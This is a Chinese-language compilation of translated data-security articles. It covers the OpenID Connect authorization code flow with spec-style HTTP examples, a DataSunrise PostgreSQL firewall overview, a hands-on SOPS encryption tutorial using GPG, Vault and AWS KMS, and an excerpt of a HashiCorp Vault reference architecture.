6.示例OpenID身份验证
现在,我们将使用授权代码流,通过一个最小的示例来说明如何从OP获取用户的ID令牌。这是传统Web应用程序最常用的流程。可以在OpenID Connect规范中找到隐式和混合流的示例。
代码流有两个步骤:
Step 1 | Step 2 | |
---|---|---|
Purpose | 1. Authenticate user 2. Receive user consent |
1. Authenticate client (optional) 2. Exchange code for token(s) |
Via | Front-channel request (browser redirection) |
Back-channel request (app to web server) |
To | Authorisation endpoint | Token endpoint |
Result on success | Authorisation code (step 2 input) |
ID token (+ OAuth 2.0 access token) |
代码流程:第1步
RP通过将浏览器重定向到OpenID提供程序的OAuth 2.0授权端点来启动用户身份验证。 OpenID身份验证请求本质上是一个OAuth 2.0授权请求,用于访问用户的身份,由scope参数中的openid值指示。
验证重定向到OP的示例:
HTTP/1.1 302
Found Location: https://openid.c2id.com/login?
response_type=code &
scope=openid &
client_id=s6BhdRkqt3 &state=af0ifjsldkj &
redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
请求参数在URI查询中编码:
- response_type:设置为
code
以指示授权代码流。 - scope:用于在OAuth中指定所请求授权的范围。范围值openid表示对OpenID身份验证和ID令牌的请求。
- client_id :OP上RP的客户端标识符。通过客户端注册API,开发人员控制台或其他方法向RP注册RP时,将分配此标识符。
- state :RP设置的不透明值,用于维护请求和回调之间的状态。
- redirect_uri:身份验证响应的RP回调URI。
在OP,通常通过检查用户是否具有有效会话(由浏览器cookie建立)来验证用户,并且如果没有,则通过提示用户登录来验证用户。之后,通常会询问用户是否同意登录RP。
然后,OP将使用授权代码(成功时)或错误代码调用客户端redirect_uri(如果访问被拒绝,或者发生了一些其他错误,则检测到这样的格式错误的请求)。
HTTP/1.1 302 Found
Location: https://client.example.org/cb?
code=SplxlOBeZQQYbYS6WxSbIA &
state=af0ifjsldkj
RP必须验证state
参数,并使用code继续下一步 - 交换ID令牌的代码。
代码流程:第2步
授权代码(authorisation code )是一个中间凭证,它对在步骤1中获得的授权进行编码。因此,它对RP不透明,只对OP服务器有意义。要检索ID令牌,RP必须将code提交给OP,但这次使用直接反向通道请求。这样做有两个原因:
在揭示令牌之前使用OP对机密客户端进行身份验证;
将令牌直接传递给RP,从而避免将它们暴露给浏览器。
代码交换发生在OP的令牌端点:
POST /token HTTP/1.1
Host: openid.c2id.com
Content-Type: application/x-www-form-urlencoded
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
grant_type=authorization_code &
code=SplxlOBeZQQYbYS6WxSbIA &
redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
客户端ID和密钥通过Authorization标头传递。除了HTTP基本身份验证之外,OpenID Connect还支持使用JWT进行身份验证,JWT不会使用令牌请求公开客户端凭据,并且已过期,因此可提供更强的安全性。
令牌请求参数是表单编码的:
- grant_type:设置为authorization_code。
- code :从步骤1获得的代码。
- redirect_uri 重复步骤1中的回调URI。
成功后,OP将返回一个带有ID令牌,访问令牌和可选刷新令牌的JSON对象:
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache
{ "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzc yI6ICJodHRwOi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5 NzYxMDAxIiwKICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZ fV3pBMk1qIiwKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5Nz AKfQ.ggW8hZ1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6q Jp6IcmD3HP99Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJ NqeGpe-gccMg4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7Tpd QyHE5lcMiKPXfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoS K5hoDalrcvRYLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4 XUVrWOLrLl0nx7RkKU8NXNHq-rvKMzqg"
"access_token": "SlAV32hkKG",
"token_type": "Bearer",
"expires_in": 3600,
}
ID令牌是JWT,在被接受之前必须由RP正确验证。
请注意,还包括 bearer access token。这是为了确保令牌响应符合OAuth 2.0规范。对于仅请求ID令牌的基本OpenID身份验证请求,此访问令牌是名义上的,可以安全地忽略。然而,访问令牌在请求访问UserInfo端点处的用户配置文件数据时也起作用。更多相关内容将在下一章中介绍。
7.索赔Claims(用户信息)
OpenID Connect指定一组标准声明或用户属性。 它们旨在根据请求向客户提供同意的用户详细信息,如电子邮件,姓名和图片。 语言标签支持本地化。
cope value | Associated claims |
---|---|
email, email_verified | |
phone | phone_number, phone_number_verified |
profile | name, family_name, given_name, middle_name, nickname, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, updated_at |
address | address |
客户可以通过两种方式申请索赔:
- 整个声明类别按其作用域值(请参阅上表中的声明映射的作用域值)
- 单独使用可选的声明请求参数。
通过简单地将范围设置为openid email来访问用户身份(ID令牌)和电子邮件的示例请求:
HTTP/1.1 302 Found
Location: https://openid.c2id.com/login?
response_type=code &
scope=openid%20email &
client_id=s6BhdRkqt3 &state=af0ifjsldkj &
redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
如果您是应用程序开发人员,请尊重用户的隐私,并将所请求的声明保持在最重要的位置。这将增加您转换用户的机会,并确保遵守最近的隐私法律。
请注意,即使用户允许应用程序访问其身份,他们也可能选择拒绝发布某些声明。应用程序应该能够优雅地处理这些决定。
声明格式为JSON:
{ "sub" : "alice",
"email" : "alice@wonderland.net",
"email_verified" : true,
"name" : "Alice Adams",
"given_name" : "Alice",
"family_name" : "Adams",
"phone_number" : "+359 (99) 100200305",
"profile" : "https://c2id.com/users/alice",
"https://c2id.com/groups" : [ "audit", "admin" ]
}
OpenID提供程序可以扩展标准JSON声明模式以包含其他属性。例如,企业可以定义诸如员工角色,经理和部门之类的声明。任何其他声明的名称都应以URL为前缀,以便为它们创建安全的命名空间并防止冲突。
8. OpenID Connect提供程序端点
Core endpoints | Optional endpoints |
---|---|
8.1授权端点
这是OP服务器端点,其中要求用户进行身份验证并授予客户端对用户身份(ID令牌)的访问权限以及可能的其他请求详细信息,例如电子邮件和名称(称为UserInfo声明)。
这是用户通过用户代理与OP交互的唯一标准端点,该角色通常由Web浏览器承担。
8.2令牌端点
令牌端点允许客户端appf交换从授权端点接收的代码以获取ID令牌和访问令牌。如果客户端是机密的,则需要在令牌端点进行身份验证。
令牌端点它还可以接受其他OAuth 2.0授权类型来发出令牌,例如:
- JWT断言
- SAML 2.0断言
8.3 UserInfo端点
UserInfo端点将先前同意的用户配置文件信息返回给客户端。为此需要有效的访问令牌。
GET /userinfo HTTP/1.1
Host: openid.c2id.com
Authorization: Bearer SlAV32hkKG
UserInfo是JSON编码的,可以选择打包为签名或加密的JWT。
HTTP/1.1 200 OK
Content-Type: application/json
{
"sub" : "alice",
"email" : "alice@wonderland.net",
"email_verified" : true,
"name" : "Alice Adams",
"picture" : "https://c2id.com/users/alice.jpg"
}
8.4可选端点
OpenID Connect提供商可以拥有以下额外端点:
- WebFinger - 根据用户的电子邮件地址或其他详细信息,为给定用户启用OpenID Connect提供程序的动态发现。
- 提供程序元数据 - 列出OP端点URL和它支持的OpenID Connect / OAuth 2.0功能的JSON文档。客户端可以使用此信息来配置对OP的请求。
- Provider JWK set - 包含JSON Web Key(JWK)格式的提供者公钥(通常为RSA)的JSON文档。这些密钥用于保护已颁发的ID令牌和其他工件。
- 客户端注册 - 用于使用OP注册客户端应用程序的RESTful Web API。注册可能受到保护(需要预先授权)或开放(公共)。
- 会话管理 - 使客户端应用程序能够检查登录用户是否仍与OpenID Connect提供程序进行活动会话。也方便退出。
9.规格在哪里?
该标准由OpenID基金会的一个工作组制作,包含一组文件,可在http://openid.net/connect/上进行探讨。
10.常见问题
10.1 OpenID Connect如何与OAuth 2.0相关?
OAuth 2.0是一个用于获取受保护资源(如Web API)的访问令牌的框架。 OpenID Connect利用OAuth 2.0语义和流程允许客户端(依赖方)访问用户身份,该身份使用名为ID令牌的JSON Web令牌(JWT)进行编码。访问令牌有助于从OpenID提供者的UserInfo端点检索同意的配置文件详细信息(称为声明或属性)。
10.2 OpenID提供商如何对用户进行身份验证?
OpenID Connect完全取决于特定的IdP。实现者可以使用任何方法来验证用户,或者将两种方法结合起来以提高安全性(2FA)。
- 用户名密码
- 硬件令牌
- 短信确认
- 生物识别技术
- 等等。
IdP可以在ID令牌中设置可选的acr和amr声明,以通知客户端用户如何被认证。
客户端也可以控制身份验证:
- 可选的prompt = login参数将导致用户(重新)进行身份验证,即使他们具有IdP的有效会话(cookie)。
- 通过支持各种身份验证强度的IdP,应用程序可以使用可选的acr_values参数请求更强的身份验证。
10.3什么是承载访问令牌(bearer access token)?
访问令牌类似于物理令牌或票证的概念。它允许持有者访问特定的HTTP资源或Web服务,该服务通常受范围限制并具有到期时间。
承载访问令牌易于使用 - 任何拥有一个令牌的人都可以调用受保护的资源。因此,必须始终通过安全通道(TLS / HTTPS)传递并安全存储。
OpenID Connect使用OAuth 2.0访问令牌,允许客户端应用程序从UserInfo端点检索同意的用户信息。
OpenID提供程序可以将访问令牌范围扩展到其他受保护资源和Web API。
原文:https://connect2id.com/learn/openid-connect
本文:http://pub.intelligentx.net/node/466
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 76 次浏览
【数据安全】PostgreSQL的DataSunrise数据库防火墙
DataSunrise的PostgreSQL防火墙可确保数据库安全,防范外部和内部威胁。 它检查每个传入的SQL查询并阻止那些被定义为禁止查询的查询。 访问权限根据安全策略进行控制。
技术信息
DataSunrise的PostgreSQL防火墙是一个功能强大的工具,用于保护PostgreSQL--世界上最先进的开源数据库。 它不间断地监视数据库流量并处理传入的查询和数据库响应,持续分析数据库活动并准确捕获与管理员定义的安全策略相矛盾的行为。
防火墙部署为代理。 它提供更高级别的保护,深度数据包过滤和详细日志记录。 防火墙驻留在数据库和客户端之间,审核并控制拦截带有恶意代码的数据包的流量。
深度流量检查可确保更高级别的安全性,防止各种类型的入侵。特殊的智能算法可持续监控数据库活动和SQL注入预防。 DataSunrise阻止了基本的SQL注入技术,包括基于联合的利用,基于布尔的利用,带外利用等。
最初部署防火墙后,将激活学习模式。 DataSunrise分析传入的SQL流量,并形成在给定环境中通常遇到的查询列表。假设典型查询是安全的,因此是允许的。其他一切都被阻止了。
支持Kerberos协议DataSunrise Database Firewall可以用作身份验证代理。配置用户映射,防火墙将注意只有Active Directory域中包含的用户才能访问具有敏感性的数据库。
DataSunrise的PostgreSQL防火墙支持最新的PostgreSQL数据库版本(版本7.4-9.5.2),可在Windows和Linux上运行。
原文:https://www.datasunrise.com/firewall/postgresql/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 96 次浏览
【数据安全】SOPS综合指南:像一个有远见的人而不是一个在职人员一样管理你的秘密
视频号
微信公众号
知识星球
你听说过SOP吗?如果你已经处于需要与队友分享敏感信息的情况,这是为你准备的。
1.SOP简介
1.1什么是SOP?
首先,让我们切入正题,直接进入房间里的大象:什么是SOP?
SOPS,Secrets OPerationS的缩写,是一个开源的文本文件编辑器,可以自动加密/解密文件。
强调文本编辑器、加密和自动化。
通常,当您想要加密文本文件时,您可以执行以下操作:
- 使用您喜爱的编辑器编写、编辑和操作文本数据,并将其另存为文件。
- 使用加密/解密工具对整个文件进行加密。
当您需要读取加密文件时:
- 首先,您需要使用加密/解密工具对文件进行解密。
- 使用您选择的文本编辑器打开解密的文件(现在它是一个常规文本文件)。
这种“正常”过程的缺点是显而易见的:一个作业需要两个工具(一个编辑器和一个加密/解密工具)。
进入SOPS。
安装SOPS最简单的方法是通过brew:
brew install sops
对于其他操作系统用户,请参阅official GitHub repo of SOPS.
💡
注意:你绝对可以使用其他具有SOPS的文本编辑器。对于VSCode,您甚至有一个名为VSCode sop的扩展,它将使您能够使用简单的基于项目的配置自动解密/加密VSCode中的文件。请记住,此扩展仍处于早期开发阶段,可能包含错误。
即使你不想安装扩展,你仍然可以使用VSCode来编辑文件:将$EDITOR环境变量设置为code–wait(在你的~/.bashrc或~/.zshrc中),VSCode将在调用sops my-file.yaml时打开文件。
1.2它是如何工作的?
简言之,SOPS在一个包中提供加密/解密和文本编辑,工作流程完全自动化。这就是它的闪光点:
- 当您写入文件时,SOPS首先使用您选择的指定加密方法对文件进行加密,然后再将其保存到磁盘。这是自动完成的,不需要任何人工干预。当然,如果你用SOPS以外的另一个文本编辑器打开文件,你就无法读取内容,因为它是加密的。
- 当你用SOPS读取加密的文件时,它首先解密文件,打开它,并向你显示它。虽然这听起来像是两步走的工作,但SOPS会自动完成,所以对最终用户来说,这看起来只是一步。
1.3亮点:灵活性
SOPS支持各种加密方法,如:
- GPG(如果你不知道它是什么,请继续阅读)
- AWS KMS
- GCP KMS
- HashiCorp Vault
- 等等
这使得管理和编辑敏感文件变得简单而灵活。
如果我想使用本地GPG键编辑文本文件,没有问题;如果我想编辑一个ENV文件,并希望它由HashiCorp Vault加密,SOPS也为我提供了帮助。我不必对您的所有文件使用单一的加密方法,因为SOPS是高度可定制的。
好吧,说得够多了;让我们试一试,亲身体验一下吧。
2. SOPS with PGP Keys
2.1 PGP与GPG
PGP,GPG,令人困惑。。。我知道,对吧?
简而言之,GPG是一个实现PGP的CLI工具:
- PGP(Pretty Good Privacy)是一个加密程序,为数据通信提供加密隐私和身份验证。它可以用于对文本、电子邮件、文件、目录和整个磁盘分区进行签名、加密和解密,并提高电子邮件通信的安全性。
- 另一方面,GPG代表GnuPG,它是OpenPGP标准RFC4880的免费实现(命令行工具)。GPG允许您对数据和通信进行加密和签名;它具有通用的密钥管理系统和用于各种公钥目录的访问模块。
现在我们已经解决了令人困惑的命名法,让我们使用GPG CLI工具创建一个PGP密钥;然后,我们可以测试SOPS是如何工作的。
2.2使用GPG创建PGP密钥
安装GnuPG最简单的方法是通过brew,macOS的软件包管理器:
brew install gnupg
如果您正在使用另一个操作系统,例如Linux,则可以使用相应的软件包管理器。最有可能的是,这将起作用:
sudo apt-get install gnupg
使用GnuPG,创建密钥非常简单,如下所示(请记住将您的名称作为key_name的值):
export KEY_NAME="Tiexin Guo"
export KEY_COMMENT="test key for sops"
gpg --batch --full-generate-key <<EOF
%no-protection
Key-Type: 1
Key-Length: 4096
Subkey-Type: 1
Subkey-Length: 4096
Expire-Date: 0
Name-Comment: ${KEY_COMMENT}
Name-Real: ${KEY_NAME}
EOF
现在,如果您运行gpg --list-keys,您将看到生成的密钥:
$ gpg --list-keys
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
/Users/tiexin/.gnupg/pubring.kbx
--------------------------------
pub rsa4096 2022-09-15 [SCEA]
A2B73FB4DA0891B38EECD35B47991CD146C9C4BC
uid [ultimate] Tiexin Guo (test key for sops)
sub rsa4096 2022-09-15 [SEA]
在输出的“pub”部分,您可以获得GPG密钥指纹。或者,您可以运行 gpg --list-secret-keys "${KEY_NAME}" 来获取它。
存储密钥指纹以备将来参考。
2.3 SOPS配置
我们需要一个简单的配置,让SOPS知道我们将使用之前生成的PGP密钥进行加密/解密。为此,请在$HOME目录下创建一个名为.sops.yaml的文件,其中包含以下内容:
creation_rules:
- pgp: >-
A2B73FB4DA0891B38EECD35B47991CD146C9C4BC
请记住替换在上一步中生成的密钥指纹。
好了,现在我们结束了。
2.4带文本文件的SOPS
运行以下命令创建一个名为a-text-file.txt的新文件:
cd
sops a-text-file.txt
开始编辑内容(例如,我输入“hello world”),然后保存。
现在,如果我们尝试对文件进行cat操作,我们将无法获取内容:
$ cat a-text-file.txt
{
"data": "ENC[AES256_GCM,data:U1j0eOC7URJZsNb+Iqs=,iv:4F3Bw1YOIE2xxdag+PbrMLGcqAjG48qVDeiu+xTfnro=,tag:2tX0jUssBYeI0IF7Lxmy+A==,type:str]",
"sops": {
"kms": null,
"gcp_kms": null,
"azure_kv": null,
"hc_vault": null,
"age": null,
"lastmodified": "2022-09-15T04:38:19Z",
"mac": "ENC[AES256_GCM,data:w1HJ/A7t0DxD1KObLeLQVzSWVrobIAF/lUg/8DRH9khba8/cDGVjhrkheki09uWDfHo4vb+odrPsBBW6vtRemqd4Y+HTAH37l8e9IltbH1eUzgoKyOh0uNULLnxbpDTnxykTOCychgiHmPS0ggpetagHLxi0jOLGFe4FxOfbCdY=,iv:qMOCu7AtT7HnnQn22L3VsJ7JY/Wb5C0RLEfdl8g5OG4=,tag:PAb7sKHQZB65TBPts71s2g==,type:str]",
"pgp": [
{
"created_at": "2022-09-15T04:38:09Z",
"enc": "-----BEGIN PGP MESSAGE-----\n\nhQIMAxuQA5jWgsG6AQ/9HE0Xk8zM/oLJOqx4SaxKFKNmncYvRWSdADlXC341qYUG\n353VeMIbfl1u8Mg3iZxoUvD4SrkAEl63DOunhATWTtY2phtjoVxpoFhxOnu170zw\nKawewc9qzzjcAG5Oq/EqZeo0ip81VdZdfk9h05rSvH7y1vJ8YLgt6/3t6ZYlLdKA\nOF5jkjEqSyY9iaSZiFxVarT2PLygaIeG3zp9+mWcUjIaR9dzGILXDfwhNooFYlMN\no8GoEoMZUQVLLb4oFmWvnP/dG92ksimxp9ba4L0YWcd+HUJNGIxx8a1w5njGduqI\nDI67rVH8t94CwD30WGJq6d4yeo99JkN/gx88GdgLzuNzdclrMVbtR2f+ifqW0+KX\nza0e/AMCaCFHOUVZ8OGPJPZbBAB11hS/cRb9+JA/+OVolB9eGu6YkGhhAPS2xYVD\n4WC6vaNBgRwbu0YUxEiMWng2KM2QVeZlnFDJzUN/WNDwnmP9vY3keOqLJAAkkNtp\nyGCzA2PG2LvrMEPxoFj1uEtR8vxVcs56vp9Q6JdtA1wh+w61Mt1mnFbY6/6fsFQK\nC40L0UpukNNGsl1rl6jvlJEUoyjqxG9eWPMX3VKyXIrwEFYcEQ2pvEnsTHLx9pZa\nfxN4oiEW7leMPYzS5bEbx2pUxSrp94Om6T1fVRtBhWBGb2QaWPZCYR2p2cQRW1zU\naAEJAhAV9CcPDhhrHpYn06QbJf4kvM1SNXT5vRkeeC/fxS7HkqM3ukNzHkgrUijz\nj5k9vB7prn+2fGkpNxYSLOOW0Zgn0INpEkaBoRpdcfvFeE+kVv+rmUL9jsPWJpOA\nygzUZnejMwOn\n=v3OP\n-----END PGP MESSAGE-----\n",
"fp": "A2B73FB4DA0891B38EECD35B47991CD146C9C4BC"
}
],
"unencrypted_suffix": "_unencrypted",
"version": "3.7.3"
}
}
但根据产出,我们可以得出结论:
- 整个文件都是加密的(请参阅上面输出的数据部分)。
- 加密方法(GPG,密钥指纹)作为文件的一部分存储在同一个文件中。
要读取文件,请执行以下操作:
sops a-text-file.txt
我们找回了原来的内容!
请注意,在读取文件时,我们不需要指定使用哪种加密/解密方法来读取加密文件,因为当我们首先创建该文件时,加密/解密方式已经通过SOPS作为文件的一部分存储。
2.5结构化数据的SOPS
自动加密文本文件的全部内容是SOPS的一个显著优势,但如果文件包含结构化数据,例如:
- YAML
- JSON
- *.ini
- ENV
SOPS可以做得更好!
让我们试试:
sops a-yaml-file.yaml
我放了以下内容:
username: tiexin
password: test
如果我们用常规文本编辑器打开文件,比如说,我们将其编辑为cat:
$cat a-yaml-file.yaml
$ cat a-yaml-file.yaml
username: ENC[AES256_GCM,data:h/BVd2tf,iv:IjzYAQQErVeWhwIIuMMfq/pjFr9YJVDNSl6ceRPv+6Q=,tag:2+xJOR89rsOMIQMWHNSEqw==,type:str]
password: ENC[AES256_GCM,data:zaz1Jw==,iv:VZ81YN4FRQf14g4olKwb6A8W00BIFT/OgWSEqkrO29s=,tag:tRJHVU7ANvGSw0tOjqGKiQ==,type:str]
...(omitted)
似乎只有“值”是加密的,而不是“密钥”!
这是一个巨大的优势,因为如果我们用常规文本编辑器打开这个文件,我们仍然可以获得数据的结构,只是我们无法读取加密的内容。
我想你知道我为什么对这个功能感到兴奋,因为我刚刚想到了一个很棒的应用程序:加密Kubernetes机密YAML文件!加密后,我们仍然可以清楚地看到内容和密钥,但不能看到值,从而可以安全地将文件存储在某个地方并与他人共享。
值得一提的是,对于YAML文件,SOPS还加密注释,这是另一个很好的功能:敏感值字段可能在注释部分也有一些敏感的描述。
到目前为止,我们已经用标准文本文件和结构化文件演示了SOPS的基本功能。但是,我们已经使用PGP密钥完成了所有操作,它可能不太常见,不适合在生产环境中使用。接下来,让我们使用HashiCorp Vault和AWS KMS这两个最著名的秘密/密钥管理器来尝试SOPS。
3个带HashiCorp Vault的SOP
3.1 Vault简介
如果你不了解HashiCorp Vault,它的核心是一个秘密管理器,但它可以做更多的事情,包括加密管理。典型的用例包括机密管理、加密服务、密钥管理等。这是一个开源项目,您可以在自己的基础设施中运行;HashiCorp还提供基于云的服务。
3.2建立本地保险库进行测试
对于SOPS教程,我们将设置一个本地Vault服务进行测试,最快的方法是使用Docker:
docker run -d -p8200:8200 vault:1.2.0 server -dev -dev-root-token-id=toor
请注意,这只是为了设置本地开发Vault服务器;不要在生产环境中执行此操作。关于生产用途,请查看官方文档。
在Docker容器中本地运行Vault后,运行以下命令进行验证:
$ export VAULT_ADDR=http://127.0.0.1:8200
$ export VAULT_TOKEN=toor
$ vault status
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed false
Total Shares 1
Threshold 1
Version 1.2.0
Cluster Name vault-cluster-618cc902
Cluster ID e532e461-e8f0-1352-8a41-fc7c11096908
HA Enabled false
Vault启动并运行后,让我们创建一个供SOPS使用的密钥:
$ # enable a transit engine if not already done
$ # It is suggested to create a transit engine specifically for SOPS
$ vault secrets enable -path=sops transit
Success! Enabled the transit secrets engine at: sops/
$ # create a key
$ vault write sops/keys/firstkey type=rsa-4096
Success! Data written to: sops/keys/firstkey
3.3使用带SOPS的保险箱钥匙
接下来,让我们使用在Vault中创建的密钥编辑文件:
sops --hc-vault-transit $VAULT_ADDR/v1/sops/keys/firstkey another-yaml-file.yaml
以YAML格式编写一些键/值对,然后保存。
如果我们用另一个文本编辑器(例如vim)打开文件,我们可以看到Vault相关信息也作为文件的一部分保存。因此,当我们需要阅读它时,我们只需运行:
sops another-yaml-file.yaml
就是这样:这个过程与使用PGP密钥完全相同。
SOPS在其配置文件中支持精细范围的规则,因此它知道根据这些用户定义的规则对每个文件使用什么加密方法和哪个密钥。
4带AWS KMS的SOP
4.1 KMS简介
AWS KMS(密钥管理服务)是一种基于云的服务,可帮助创建和控制加密密钥。与HashiCorp Vault类似,它可以创建、存储和使用加密密钥;不同的是,HashiCorp Vault也是一个机密管理器,而AWS有一个单独的服务(AWS机密管理器)用于轮换、管理和提供机密。
4.2创建AWS KMS密钥
对于这一部分,我们将使用AWS CLI。
如果你还没有安装,请按照这里的官方文档操作。安装完成后,我们需要在使用之前对其进行正确配置。
在这里,我们假设您的AWS CLI已经可以正常工作,并且具有访问AWS KMS所需的权限。
使用AWS CLI在AWS KMS中创建密钥非常简单:
aws kms create-key \
--tags TagKey=Purpose,TagValue=Test \
--description "Test key"
从输出中复制ARN,我们可以将其保存为ENV变量(用您自己的值替换ARN):
export ARN=arn:aws:kms:ap-southeast-1:858104165444:key/620abad4-8043-4166-8712-2b4684378d3a
4.3将AWS KMS的密钥与SOPS一起使用
同样简单明了:
sops --kms $ARN aws-kms-encryption-example.yaml
类似地,加密方法信息作为文件的一部分保存,使用SOPS读取文件不需要指定解密方法,就像使用GPG或Vault一样。
SOPS支持更多加密方法,如GCP KMS、Azure密钥库等。从SOPS的回购中了解更多!
5总结
5.1为什么需要SOP
在完成了整个教程并自己执行了许多命令之后,您一定有点累了。现在是放松的故事时间了:
几年前,我正在做一个与fin-tech相关的大型项目,整个基础设施的中心是一个OpenShift集群(可以把它想象成一个定制的Kubernetes)。
在集群中,我们使用名称空间来分隔不同的环境;我们使用OpenShift集群作为机密管理的唯一真相来源。
例如:如果我们需要更新机密的值,我们可以在OpenShift控制台中进行更新。如果我们需要在Jenkins中使用秘密,我们会在OpenShift中添加一个秘密,它会自动同步为Jenkins秘密。一切似乎都很好。
然而,如果我们想与另一个团队成员共享一个秘密,或者将该秘密迁移到另一个集群/环境中,这会很棘手:我们必须将秘密导出为K8s秘密YAML文件,然后共享该文件。
这既是一个安全问题,也是一个生产力问题:如果YAML被一个本不应该访问该秘密的人共享怎么办?如果OpenShift集群中的秘密发生了变化,但我们不知道,因为我们手头的YAML文件不可能自动与集群同步,该怎么办?
一般来说,使用K8s原生秘密作为唯一的真相来源并不是一种最佳实践,但从K8s环境之外的地方消费秘密并不简单。即使秘密只在集群中使用,您仍然需要创建硬编码的YAML副本:您将tho保存在哪里
5.2某些用例的替代方案
有两种类似的工具功能要差得多,但根据您的具体用例,它们可能同样有价值:
- Git crypt实现了Git repo中文件的自动加密和解密。您选择保护的文件在提交时加密,在签出时解密。gitcrypt允许您自由共享包含公共和私有内容的混合存储库。如果你想在团队中分享秘密,这是一个很好的工具,但它只支持PGP密钥加密;你必须自己生成和管理那些PGP密钥。而且,如果你只想在不使用git的情况下自动进行一些加密/解密,那就没有意义了。
- Ansible Vault对变量和文件进行加密,以保护密码或密钥等敏感内容,而不是将其作为明文显示在Ansible剧本或角色中。它的工作原理与SOPS类似,但显然,它只能在Ansible上下文中使用。当然,您也可以将SOPS与Ansible一起使用。
SOPS仍然是通用的王,尤其是如果你想对不同的文件使用不同的加密方法。
5.3 SOPS不是什么
需要明确的是:SOPS不是一个秘密管理者。是的,您可以将其作为一种快速而廉价的解决方案,将敏感数据存储在加密文件中。但是,随着用例的扩展,您很可能会碰壁。仅以文件格式保存机密有其局限性。例如,在某个时刻,您可能需要API访问您的秘密。SOPS并不是为这个而设计的,在它之上构建一个定制的解决方案充其量也只是笨拙的。
这正是秘密管理器(secrets managers )的用途:允许您灵活地处理所有秘密的格式、策略和访问方法(如文件、K8s本地YAML、应用程序、实际用户等)。现代秘密管理器与CLI、CI/CD系统、编排平台等有许多集成,因此很有可能在不加密文件的情况下满足您的所有需求。
最近,我在区块上发现并测试了一个新的孩子:Doppler,它可以自动将机密同步到K8s集群,从而无需将K8s机密存储在YAML文件中。它甚至可以在相关机密更新时重新启动pod。如果感兴趣,请在此处阅读更多信息。
- 56 次浏览
【数据安全】Vault参考架构
本文档的目标是推荐HashiCorp Vault部署实践。 该参考架构传达了一种通用架构,应该进行调整以适应每种实现的特定需求。
本指南中涉及以下主题:
- 一个数据中心内的部署拓扑
- 网络连接
- 部署系统要求
- 硬件考虑因素
- 负载均衡
- 高可用性
- 多个数据中心的部署拓扑
- Vault复制
- 其他参考文献
本文档假定Vault使用Consul作为存储后端,因为这是生产部署的推荐存储后端。
一个数据中心内的部署拓扑
本节介绍如何在一个数据中心中部署Vault开源群集。 Vault Enterprise中通过群集复制包含对多个数据中心的支持。
参考图
带有Consul存储后端的八个节点
设计摘要
此设计是生产环境的推荐架构,因为它提供了灵活性和弹性。 Consul服务器与Vault服务器分开,因此软件升级更容易执行。此外,单独的Consul和Vault服务器允许为每个服务器单独调整大小。 Vault to Consul后端连接是通过HTTP进行的,应使用TLS和Consul令牌进行保护,以提供所有流量的加密。
有关以加密模式运行Consul的详细信息,请参阅联机文档。
容忍失败
云环境中的典型分布是将Consul / Vault节点分散到高带宽,低延迟网络(例如AWS区域)内的单独可用区(AZ)中。下图显示了在AZ之间传播的Vault和Consul,其中Consul服务器采用冗余区域配置,每个AZ提升单个投票成员,同时提供区域和节点级别的故障保护。
请参阅在线文档以了解有关领事领导者选举流程的更多信息。
网络连接详细信息
部署系统要求
下表提供了服务器大小调整的准则。 特别值得注意的是强烈建议避免使用非固定性能CPU或AWS术语中的“Burstable CPU”,例如T系列实例。
硬件考虑因素
小尺寸类别适用于大多数初始生产部署或开发/测试环境。
大尺寸适用于工作负载一致的生产环境。这可能是大量的交易,大量的秘密,或两者的结合。
通常,处理要求将取决于加密工作负载和消息传递工作负载(每秒操作数和操作类型)。内存要求将取决于存储在内存中的机密/密钥的总大小,并应根据该数据进行调整大小(硬盘驱动器存储也应如此)。 Vault本身具有最小的存储要求,但底层存储后端应具有相对高性能的硬盘子系统。如果频繁生成/旋转许多机密,则此信息需要经常刷新到磁盘,如果使用较慢的硬盘驱动器,可能会影响性能。
此部署中的Consul服务器功能用作Vault的存储后端。这意味着存储为Vault中持久性的所有内容都由Vault加密,并在静态时写入存储后端。此数据将写入Consul服务目录的键值存储部分,该部分需要在每个Consul服务器上完整存储在内存中。这意味着当更多客户端向Vault进行身份验证时,内存可能成为扩展中的约束,更多秘密会持久存储在Vault中,并且会从Vault中租用更多临时密钥。如果需要额外的空间,这还需要在Consul服务器的内存上进行垂直缩放,因为整个服务目录存储在每个Consul服务器的内存中。
此外,网络吞吐量是Vault和Consul服务器的共同考虑因素。由于两个系统都是HTTPS API驱动的,所有传入请求,Vault和Consul之间的通信,Consul集群成员之间的基础八卦通信,与外部系统的通信(每个auth或秘密引擎配置,以及一些审计日志记录配置)和响应都会消耗网络带宽。
由于Consul群集操作中的网络性能注意事项,应通过性能或DR复制来实现跨网络边界的Vault数据集的复制,而不是跨越网络和物理边界传播Consul群集。如果单个consul集群分布在远程或跨区域的网段上,则可能导致集群内的同步问题或某些云提供商的额外数据传输费用。
其他考虑因素
Vault生产强化建议提供了有关Vault的生产强化部署的最佳实践的指导。
使用Consul接口进行负载均衡
Consul可以提供负载平衡功能,但它要求任何Vault客户端都是Consul。 这意味着客户端可以使用Consul DNS或API接口来解析活动的Vault节点。 客户端可以通过以下URL访问Vault:http://active.vault.service.consul:8200
